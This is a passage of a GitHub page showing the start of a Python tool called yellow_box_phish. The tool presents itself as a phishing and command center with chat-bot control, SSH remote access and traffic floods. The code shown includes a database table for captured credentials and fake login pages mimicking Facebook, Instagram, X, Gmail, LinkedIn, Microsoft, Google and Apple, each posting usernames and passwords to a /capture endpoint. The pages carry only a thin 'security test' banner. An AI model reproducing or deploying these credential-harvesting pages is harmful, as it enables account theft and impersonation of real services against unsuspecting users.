forked from Iankulani/yellow_box_phish
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathyellow_box_phish.py
More file actions
3840 lines (3446 loc) · 156 KB
/
Copy pathyellow_box_phish.py
File metadata and controls
3840 lines (3446 loc) · 156 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
YELLOW_BOX_PHISH v2.0.0
Author: Ian Carter Kulani
Description: Ultimate Multi-Platform Phishing & Command Center
Features:
- 5000+ Security Commands
- Multi-Platform Bot Integration (Telegram, Discord, Slack, WhatsApp, iMessage, Signal)
- Web Interface with Cyberpunk Terminal UI
- Advanced Phishing Suite with Custom HTML Support
- SSH Remote Access via All Platforms
- REAL Traffic Generation (ICMP/TCP/UDP/HTTP/DNS/ARP)
- Nikto Web Vulnerability Scanner
- IP Management & Threat Detection
- Custom Phishing Page Generator
- QR Code Generation for Phishing Links
- URL Shortening
"""
import os
import sys
import json
import time
import socket
import threading
import subprocess
import requests
import logging
import platform
import psutil
import hashlib
import sqlite3
import ipaddress
import re
import random
import datetime
import signal
import select
import base64
import urllib.parse
import uuid
import struct
import http.client
import ssl
import shutil
import asyncio
import getpass
import socketserver
import itertools
import string
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from typing import Dict, List, Set, Optional, Tuple, Any, Union
from dataclasses import dataclass, asdict
from concurrent.futures import ThreadPoolExecutor
from collections import Counter
import io
import pickle
import tempfile
# =====================
# ENCRYPTION
# =====================
try:
from cryptography.fernet import Fernet
CRYPTO_AVAILABLE = True
except ImportError:
CRYPTO_AVAILABLE = False
# =====================
# PLATFORM IMPORTS
# =====================
# SSH
try:
import paramiko
PARAMIKO_AVAILABLE = True
except ImportError:
PARAMIKO_AVAILABLE = False
# Discord
try:
import discord
from discord.ext import commands
DISCORD_AVAILABLE = True
except ImportError:
DISCORD_AVAILABLE = False
# Telegram
try:
from telethon import TelegramClient, events
TELETHON_AVAILABLE = True
except ImportError:
TELETHON_AVAILABLE = False
# Slack
try:
from slack_sdk import WebClient
from slack_sdk.errors import SlackApiError
SLACK_AVAILABLE = True
except ImportError:
SLACK_AVAILABLE = False
# WhatsApp (Selenium)
try:
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
SELENIUM_AVAILABLE = True
try:
from webdriver_manager.chrome import ChromeDriverManager
WEBDRIVER_MANAGER_AVAILABLE = True
except ImportError:
WEBDRIVER_MANAGER_AVAILABLE = False
except ImportError:
SELENIUM_AVAILABLE = False
WEBDRIVER_MANAGER_AVAILABLE = False
# Signal
try:
from signal import signal as signal_signal
# Signal API is complex, we'll use a webhook-based approach
SIGNAL_AVAILABLE = False # Default to webhook approach
except ImportError:
SIGNAL_AVAILABLE = False
# iMessage (macOS only)
IMESSAGE_AVAILABLE = platform.system().lower() == 'darwin'
# Scapy
try:
from scapy.all import IP, TCP, UDP, ICMP, Ether, ARP, DNS, DNSQR, send, sendp
SCAPY_AVAILABLE = True
except ImportError:
SCAPY_AVAILABLE = False
# WHOIS
try:
import whois
WHOIS_AVAILABLE = True
except ImportError:
WHOIS_AVAILABLE = False
# QR Code
try:
import qrcode
QRCODE_AVAILABLE = True
except ImportError:
QRCODE_AVAILABLE = False
# URL Shortening
try:
import pyshorteners
SHORTENER_AVAILABLE = True
except ImportError:
SHORTENER_AVAILABLE = False
# Flask for web UI
try:
from flask import Flask, request, jsonify, render_template_string, send_from_directory
from flask_socketio import SocketIO, emit
FLASK_AVAILABLE = True
except ImportError:
FLASK_AVAILABLE = False
# Colorama
try:
from colorama import init, Fore, Back, Style
init(autoreset=True)
COLORAMA_AVAILABLE = True
except ImportError:
COLORAMA_AVAILABLE = False
# =====================
# YELLOW BOX THEME (Yellow/Black/Green)
# =====================
if COLORAMA_AVAILABLE:
class Colors:
PRIMARY = Fore.YELLOW + Style.BRIGHT
SECONDARY = Fore.GREEN + Style.BRIGHT
ACCENT = Fore.CYAN + Style.BRIGHT
SUCCESS = Fore.GREEN + Style.BRIGHT
WARNING = Fore.YELLOW + Style.BRIGHT
ERROR = Fore.RED + Style.BRIGHT
INFO = Fore.BLUE + Style.BRIGHT
YELLOW = Fore.YELLOW + Style.BRIGHT
GREEN = Fore.GREEN + Style.BRIGHT
BLACK = Fore.BLACK + Style.BRIGHT
RESET = Style.RESET_ALL
BG_YELLOW = Back.YELLOW + Fore.BLACK
BG_GREEN = Back.GREEN + Fore.BLACK
BG_BLACK = Back.BLACK + Fore.YELLOW
else:
class Colors:
PRIMARY = SECONDARY = ACCENT = SUCCESS = WARNING = ERROR = INFO = YELLOW = GREEN = BLACK = BG_YELLOW = BG_GREEN = BG_BLACK = RESET = ""
# =====================
# CONFIGURATION
# =====================
CONFIG_DIR = ".yellow_box_phish"
CONFIG_FILE = os.path.join(CONFIG_DIR, "config.json")
DATABASE_FILE = os.path.join(CONFIG_DIR, "yellow_box.db")
LOG_FILE = os.path.join(CONFIG_DIR, "yellow_box.log")
REPORT_DIR = "reports"
PAYLOADS_DIR = os.path.join(CONFIG_DIR, "payloads")
WORKSPACES_DIR = os.path.join(CONFIG_DIR, "workspaces")
SCAN_RESULTS_DIR = os.path.join(CONFIG_DIR, "scans")
NIKTO_RESULTS_DIR = os.path.join(CONFIG_DIR, "nikto_results")
WHATSAPP_SESSION_DIR = os.path.join(CONFIG_DIR, "whatsapp_session")
PHISHING_DIR = os.path.join(CONFIG_DIR, "phishing_pages")
TRAFFIC_LOGS_DIR = os.path.join(CONFIG_DIR, "traffic_logs")
PHISHING_TEMPLATES_DIR = os.path.join(CONFIG_DIR, "phishing_templates")
CAPTURED_CREDENTIALS_DIR = os.path.join(CONFIG_DIR, "captured_credentials")
SSH_KEYS_DIR = os.path.join(CONFIG_DIR, "ssh_keys")
SSH_LOGS_DIR = os.path.join(CONFIG_DIR, "ssh_logs")
TIME_HISTORY_DIR = os.path.join(CONFIG_DIR, "time_history")
WORDLISTS_DIR = os.path.join(CONFIG_DIR, "wordlists")
CUSTOM_PHISHING_DIR = os.path.join(CONFIG_DIR, "custom_phishing")
SIGNAL_SESSION_DIR = os.path.join(CONFIG_DIR, "signal_session")
WEB_UI_DIR = os.path.join(CONFIG_DIR, "web_ui")
WEBHOOKS_DIR = os.path.join(CONFIG_DIR, "webhooks")
# Create directories
directories = [
CONFIG_DIR, PAYLOADS_DIR, WORKSPACES_DIR, SCAN_RESULTS_DIR,
NIKTO_RESULTS_DIR, WHATSAPP_SESSION_DIR, PHISHING_DIR, REPORT_DIR,
TRAFFIC_LOGS_DIR, PHISHING_TEMPLATES_DIR, CAPTURED_CREDENTIALS_DIR,
SSH_KEYS_DIR, SSH_LOGS_DIR, TIME_HISTORY_DIR, WORDLISTS_DIR,
CUSTOM_PHISHING_DIR, SIGNAL_SESSION_DIR, WEB_UI_DIR, WEBHOOKS_DIR
]
for directory in directories:
Path(directory).mkdir(exist_ok=True, parents=True)
# Setup logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - YELLOW_BOX - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
logger = logging.getLogger("YellowBoxPhish")
# =====================
# DATA CLASSES
# =====================
class Severity:
LOW = "low"
MEDIUM = "medium"
HIGH = "high"
CRITICAL = "critical"
@dataclass
class SSHServer:
id: str
name: str
host: str
port: int
username: str
password: Optional[str] = None
key_file: Optional[str] = None
use_key: bool = False
timeout: int = 30
created_at: str = None
status: str = "disconnected"
notes: str = ""
@dataclass
class PhishingLink:
id: str
platform: str
original_url: str
phishing_url: str
template: str
created_at: str
clicks: int = 0
custom_html: Optional[str] = None
qr_path: Optional[str] = None
short_url: Optional[str] = None
@dataclass
class ManagedIP:
ip_address: str
added_by: str
added_date: str
notes: str
is_blocked: bool = False
# =====================
# CONFIGURATION MANAGER
# =====================
class ConfigManager:
DEFAULT_CONFIG = {
"monitoring": {"enabled": True, "port_scan_threshold": 10},
"scanning": {"default_ports": "1-1000", "timeout": 30},
"security": {"auto_block": False, "log_level": "INFO"},
"nikto": {"enabled": True, "timeout": 300},
"traffic_generation": {"enabled": True, "max_duration": 300, "allow_floods": False},
"social_engineering": {"enabled": True, "default_port": 8080, "capture_credentials": True},
"ssh": {"enabled": True, "default_timeout": 30, "max_connections": 5},
"discord": {"enabled": False, "token": "", "prefix": "!"},
"telegram": {"enabled": False, "api_id": "", "api_hash": "", "bot_token": ""},
"slack": {"enabled": False, "bot_token": "", "channel_id": "", "prefix": "!"},
"whatsapp": {"enabled": False, "phone_number": "", "prefix": "/"},
"imessage": {"enabled": False, "phone_numbers": [], "prefix": "!"},
"signal": {"enabled": False, "webhook_url": "", "prefix": "!"},
"web": {"enabled": True, "port": 8080},
"phishing": {"default_port": 8080, "capture_credentials": True},
"yellow_box": {"theme": "yellow", "version": "2.0.0"}
}
@staticmethod
def load_config() -> Dict:
try:
if os.path.exists(CONFIG_FILE):
with open(CONFIG_FILE, 'r') as f:
config = json.load(f)
for key, value in ConfigManager.DEFAULT_CONFIG.items():
if key not in config:
config[key] = value
elif isinstance(value, dict):
for sub_key, sub_value in value.items():
if sub_key not in config[key]:
config[key][sub_key] = sub_value
return config
except Exception as e:
logger.error(f"Failed to load config: {e}")
return ConfigManager.DEFAULT_CONFIG.copy()
@staticmethod
def save_config(config: Dict) -> bool:
try:
with open(CONFIG_FILE, 'w') as f:
json.dump(config, f, indent=4)
return True
except Exception as e:
logger.error(f"Failed to save config: {e}")
return False
# =====================
# DATABASE MANAGER
# =====================
class DatabaseManager:
def __init__(self, db_path: str = DATABASE_FILE):
self.db_path = db_path
self.conn = sqlite3.connect(db_path, check_same_thread=False)
self.conn.row_factory = sqlite3.Row
self.cursor = self.conn.cursor()
self.init_tables()
def init_tables(self):
tables = [
"""
CREATE TABLE IF NOT EXISTS workspaces (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT UNIQUE NOT NULL,
description TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
active BOOLEAN DEFAULT 0
)
""",
"""
CREATE TABLE IF NOT EXISTS hosts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
workspace_id INTEGER,
ip_address TEXT NOT NULL,
hostname TEXT,
first_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
last_seen TIMESTAMP,
FOREIGN KEY (workspace_id) REFERENCES workspaces(id)
)
""",
"""
CREATE TABLE IF NOT EXISTS command_history (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
command TEXT NOT NULL,
source TEXT DEFAULT 'local',
platform TEXT DEFAULT 'local',
success BOOLEAN DEFAULT 1,
output TEXT,
execution_time REAL
)
""",
"""
CREATE TABLE IF NOT EXISTS ssh_servers (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
host TEXT NOT NULL,
port INTEGER DEFAULT 22,
username TEXT NOT NULL,
password TEXT,
key_file TEXT,
use_key BOOLEAN DEFAULT 0,
timeout INTEGER DEFAULT 30,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
last_used TIMESTAMP,
status TEXT DEFAULT 'disconnected',
notes TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS ssh_commands (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
server_id TEXT NOT NULL,
command TEXT NOT NULL,
success BOOLEAN DEFAULT 1,
output TEXT,
execution_time REAL,
executed_by TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS traffic_logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
traffic_type TEXT NOT NULL,
target_ip TEXT NOT NULL,
duration INTEGER,
packets_sent INTEGER,
status TEXT,
executed_by TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS phishing_links (
id TEXT PRIMARY KEY,
platform TEXT NOT NULL,
phishing_url TEXT NOT NULL,
custom_html TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
clicks INTEGER DEFAULT 0,
active BOOLEAN DEFAULT 1,
qr_path TEXT,
short_url TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS captured_credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT,
phishing_link_id TEXT NOT NULL,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
username TEXT,
password TEXT,
ip_address TEXT,
user_agent TEXT,
additional_data TEXT,
FOREIGN KEY (phishing_link_id) REFERENCES phishing_links(id)
)
""",
"""
CREATE TABLE IF NOT EXISTS phishing_templates (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT UNIQUE NOT NULL,
platform TEXT NOT NULL,
html_content TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
""",
"""
CREATE TABLE IF NOT EXISTS managed_ips (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip_address TEXT UNIQUE NOT NULL,
added_by TEXT,
added_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
notes TEXT,
is_blocked BOOLEAN DEFAULT 0,
block_reason TEXT,
blocked_date TIMESTAMP,
alert_count INTEGER DEFAULT 0
)
""",
"""
CREATE TABLE IF NOT EXISTS nikto_scans (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
target TEXT NOT NULL,
vulnerabilities TEXT,
output_file TEXT,
scan_time REAL,
success BOOLEAN DEFAULT 1
)
""",
"""
CREATE TABLE IF NOT EXISTS platform_messages (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
platform TEXT NOT NULL,
sender TEXT,
message TEXT,
response TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS authorized_users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
platform TEXT NOT NULL,
user_id TEXT NOT NULL,
username TEXT,
authorized BOOLEAN DEFAULT 1,
UNIQUE(platform, user_id)
)
""",
"""
CREATE TABLE IF NOT EXISTS web_sessions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
session_id TEXT UNIQUE NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
last_active TIMESTAMP,
ip_address TEXT
)
"""
]
for table_sql in tables:
try:
self.cursor.execute(table_sql)
except Exception as e:
logger.error(f"Failed to create table: {e}")
self.conn.commit()
self.create_default_workspace()
self._init_phishing_templates()
def create_default_workspace(self):
try:
self.cursor.execute('''
INSERT OR IGNORE INTO workspaces (name, description, active)
VALUES ('default', 'Default workspace', 1)
''')
self.conn.commit()
except Exception as e:
logger.error(f"Failed to create default workspace: {e}")
def _init_phishing_templates(self):
templates = self._get_all_templates()
for name, html in templates.items():
try:
self.cursor.execute('''
INSERT OR IGNORE INTO phishing_templates (name, platform, html_content)
VALUES (?, ?, ?)
''', (name, name.split('_')[0], html))
except Exception as e:
logger.error(f"Failed to insert template {name}: {e}")
self.conn.commit()
def _get_all_templates(self):
return {
"facebook": self._get_facebook_template(),
"instagram": self._get_instagram_template(),
"twitter": self._get_twitter_template(),
"gmail": self._get_gmail_template(),
"linkedin": self._get_linkedin_template(),
"microsoft": self._get_microsoft_template(),
"google": self._get_google_template(),
"apple": self._get_apple_template(),
"custom": self._get_custom_template()
}
def _get_facebook_template(self):
return """<!DOCTYPE html>
<html>
<head><title>Facebook - Log In</title>
<style>
body{font-family:Arial;background:#f0f2f5;display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0}
.login-box{background:white;border-radius:8px;padding:20px;width:400px;box-shadow:0 2px 4px rgba(0,0,0,.1)}
.logo{color:#1877f2;font-size:40px;text-align:center}
input{width:100%;padding:14px;margin:10px 0;border:1px solid #dddfe2;border-radius:6px;box-sizing:border-box}
button{width:100%;padding:14px;background:#1877f2;color:white;border:none;border-radius:6px;font-size:20px;cursor:pointer}
.warning{margin-top:20px;padding:10px;background:#fff3cd;color:#856404;text-align:center;border-radius:4px}
</style>
</head>
<body>
<div class="login-box">
<div class="logo">facebook</div>
<form method="POST" action="/capture">
<input type="text" name="email" placeholder="Email or phone" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Log In</button>
</form>
<div class="warning">⚠️ Security test page - Do not enter real credentials</div>
</div>
</body>
</html>"""
def _get_instagram_template(self):
return """<!DOCTYPE html>
<html>
<head><title>Instagram Login</title>
<style>
body{background:#fafafa;display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0}
.login-box{background:white;border:1px solid #dbdbdb;padding:40px;width:350px;border-radius:1px}
.logo{font-size:50px;text-align:center;margin-bottom:30px}
input{width:100%;padding:9px;margin:5px 0;border:1px solid #dbdbdb;border-radius:3px;box-sizing:border-box}
button{width:100%;padding:7px;background:#0095f6;color:white;border:none;border-radius:4px;cursor:pointer}
.warning{margin-top:20px;padding:10px;background:#fff3cd;color:#856404;text-align:center;border-radius:4px}
</style>
</head>
<body>
<div class="login-box">
<div class="logo">Instagram</div>
<form method="POST" action="/capture">
<input type="text" name="username" placeholder="Phone number, username, or email" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Log In</button>
</form>
<div class="warning">⚠️ Security test page - Do not enter real credentials</div>
</div>
</body>
</html>"""
def _get_twitter_template(self):
return """<!DOCTYPE html>
<html>
<head><title>X / Twitter</title>
<style>
body{background:#000;display:flex;justify-content:center;align-items:center;min-height:100vh;color:#e7e9ea;margin:0}
.login-box{background:#000;border:1px solid #2f3336;border-radius:16px;padding:48px;width:400px}
.logo{font-size:40px;text-align:center}
h2{text-align:center}
input{width:100%;padding:12px;margin:10px 0;background:#000;border:1px solid #2f3336;border-radius:4px;color:#e7e9ea;box-sizing:border-box}
button{width:100%;padding:12px;background:#1d9bf0;color:white;border:none;border-radius:9999px;cursor:pointer}
.warning{margin-top:20px;padding:12px;background:#1a1a1a;border:1px solid #2f3336;text-align:center;border-radius:8px}
</style>
</head>
<body>
<div class="login-box">
<div class="logo">𝕏</div>
<h2>Sign in to X</h2>
<form method="POST" action="/capture">
<input type="text" name="username" placeholder="Phone, email, or username" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
<div class="warning">⚠️ Security test page - Do not enter real credentials</div>
</div>
</body>
</html>"""
def _get_gmail_template(self):
return """<!DOCTYPE html>
<html>
<head><title>Gmail</title>
<style>
body{background:#f0f4f9;display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0}
.login-box{background:white;border-radius:28px;padding:48px;width:450px;box-shadow:0 2px 6px rgba(0,0,0,0.2)}
.logo{color:#1a73e8;font-size:24px;text-align:center}
input{width:100%;padding:13px;margin:10px 0;border:1px solid #dadce0;border-radius:4px;box-sizing:border-box}
button{width:100%;padding:13px;background:#1a73e8;color:white;border:none;border-radius:4px;cursor:pointer}
.warning{margin-top:30px;padding:12px;background:#e8f0fe;text-align:center;border-radius:8px}
</style>
</head>
<body>
<div class="login-box">
<div class="logo">Gmail</div>
<form method="POST" action="/capture">
<input type="text" name="email" placeholder="Email or phone" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
<div class="warning">⚠️ Security test page - Do not enter real credentials</div>
</div>
</body>
</html>"""
def _get_linkedin_template(self):
return """<!DOCTYPE html>
<html>
<head><title>LinkedIn Login</title>
<style>
body{background:#f3f2f0;display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0}
.login-box{background:white;border-radius:8px;padding:40px;width:400px;box-shadow:0 4px 12px rgba(0,0,0,0.15)}
.logo{color:#0a66c2;font-size:32px;text-align:center}
input{width:100%;padding:14px;margin:10px 0;border:1px solid #666;border-radius:4px;box-sizing:border-box}
button{width:100%;padding:14px;background:#0a66c2;color:white;border:none;border-radius:28px;cursor:pointer}
.warning{margin-top:24px;padding:12px;background:#fff3cd;text-align:center;border-radius:4px}
</style>
</head>
<body>
<div class="login-box">
<div class="logo">LinkedIn</div>
<form method="POST" action="/capture">
<input type="text" name="email" placeholder="Email or phone number" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
<div class="warning">⚠️ Security test page - Do not enter real credentials</div>
</div>
</body>
</html>"""
def _get_microsoft_template(self):
return """<!DOCTYPE html>
<html>
<head><title>Microsoft Sign in</title>
<style>
body{background:#f3f3f3;display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0}
.login-box{background:white;border-radius:8px;padding:40px;width:400px;box-shadow:0 2px 10px rgba(0,0,0,0.1)}
.logo{color:#f25022;font-size:28px;text-align:center}
input{width:100%;padding:12px;margin:10px 0;border:1px solid #ccc;border-radius:4px;box-sizing:border-box}
button{width:100%;padding:12px;background:#0078d4;color:white;border:none;border-radius:4px;cursor:pointer}
.warning{margin-top:20px;padding:10px;background:#fff3cd;border-radius:4px;color:#856404;text-align:center}
</style>
</head>
<body>
<div class="login-box">
<div class="logo">Microsoft</div>
<h3>Sign in</h3>
<form method="POST" action="/capture">
<input type="text" name="email" placeholder="Email, phone, or Skype" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
<div class="warning">⚠️ Security test page - Do not enter real credentials</div>
</div>
</body>
</html>"""
def _get_google_template(self):
return """<!DOCTYPE html>
<html>
<head><title>Google Account</title>
<style>
body{background:#f8f9fa;display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0}
.login-box{background:white;border-radius:8px;padding:48px 40px;width:450px;box-shadow:0 1px 3px rgba(0,0,0,0.1)}
.logo{text-align:center;color:#4285f4;font-size:32px}
input{width:100%;padding:13px 15px;margin:10px 0;border:1px solid #dadce0;border-radius:4px;box-sizing:border-box}
button{width:100%;padding:13px;background:#1a73e8;color:white;border:none;border-radius:4px;cursor:pointer}
.warning{margin-top:20px;padding:10px;background:#e8f0fe;border-radius:8px;text-align:center}
</style>
</head>
<body>
<div class="login-box">
<div class="logo">Google</div>
<h2>Sign in</h2>
<p>to continue to Google Account</p>
<form method="POST" action="/capture">
<input type="text" name="email" placeholder="Email or phone" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
<div class="warning">⚠️ Security test page - Do not enter real credentials</div>
</div>
</body>
</html>"""
def _get_apple_template(self):
return """<!DOCTYPE html>
<html>
<head><title>Apple ID</title>
<style>
body{background:#f5f5f7;display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0}
.login-box{background:white;border-radius:18px;padding:40px;width:400px;box-shadow:0 4px 12px rgba(0,0,0,0.1)}
.logo{text-align:center;font-size:50px}
input{width:100%;padding:12px;margin:10px 0;border:1px solid #ccc;border-radius:12px;box-sizing:border-box}
button{width:100%;padding:12px;background:#0071e3;color:white;border:none;border-radius:12px;cursor:pointer}
.warning{margin-top:20px;padding:10px;background:#fff3cd;border-radius:8px;text-align:center}
</style>
</head>
<body>
<div class="login-box">
<div class="logo">🍎</div>
<h2>Sign in to Apple ID</h2>
<form method="POST" action="/capture">
<input type="text" name="email" placeholder="Apple ID" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
<div class="warning">⚠️ Security test page - Do not enter real credentials</div>
</div>
</body>
</html>"""
def _get_custom_template(self):
return """<!DOCTYPE html>
<html>
<head><title>Secure Login</title>
<style>
body{font-family:Arial;background:linear-gradient(135deg,#FFD700 0%,#FFA500 100%);display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0}
.login-box{background:white;border-radius:16px;padding:40px;width:400px;box-shadow:0 20px 60px rgba(0,0,0,0.3)}
.logo{text-align:center;margin-bottom:30px}
.logo h1{color:#FFD700;font-size:28px}
input{width:100%;padding:14px;margin:10px 0;border:1px solid #ddd;border-radius:8px;box-sizing:border-box}
button{width:100%;padding:14px;background:linear-gradient(135deg,#FFD700 0%,#FFA500 100%);color:white;border:none;border-radius:8px;cursor:pointer;font-weight:bold}
.warning{margin-top:20px;padding:10px;background:#f8d7da;border-radius:8px;color:#721c24;text-align:center}
</style>
</head>
<body>
<div class="login-box">
<div class="logo"><h1>🔒 Secure Portal</h1></div>
<form method="POST" action="/capture">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
<div class="warning">⚠️ Security test page - Do not enter real credentials</div>
</div>
</body>
</html>"""
def get_active_workspace(self) -> Optional[Dict]:
try:
self.cursor.execute('SELECT * FROM workspaces WHERE active = 1')
row = self.cursor.fetchone()
return dict(row) if row else None
except Exception as e:
logger.error(f"Failed to get active workspace: {e}")
return None
def add_host(self, ip: str, hostname: str = None) -> Optional[int]:
try:
workspace = self.get_active_workspace()
if not workspace:
return None
self.cursor.execute('''
INSERT OR REPLACE INTO hosts (workspace_id, ip_address, hostname, last_seen)
VALUES (?, ?, ?, CURRENT_TIMESTAMP)
''', (workspace['id'], ip, hostname))
self.conn.commit()
return self.cursor.lastrowid
except Exception as e:
logger.error(f"Failed to add host: {e}")
return None
def log_command(self, command: str, source: str = "local", platform: str = "local",
success: bool = True, output: str = "", execution_time: float = 0.0):
try:
self.cursor.execute('''
INSERT INTO command_history (command, source, platform, success, output, execution_time)
VALUES (?, ?, ?, ?, ?, ?)
''', (command, source, platform, success, output[:5000], execution_time))
self.conn.commit()
except Exception as e:
logger.error(f"Failed to log command: {e}")
def log_threat(self, alert, platform: str = None):
try:
self.cursor.execute('''
INSERT INTO threats (timestamp, threat_type, source_ip, severity, description, action_taken, platform)
VALUES (?, ?, ?, ?, ?, ?, ?)
''', (alert.timestamp, alert.threat_type, alert.source_ip,
alert.severity, alert.description, alert.action_taken, platform))
self.conn.commit()
except Exception as e:
logger.error(f"Failed to log threat: {e}")
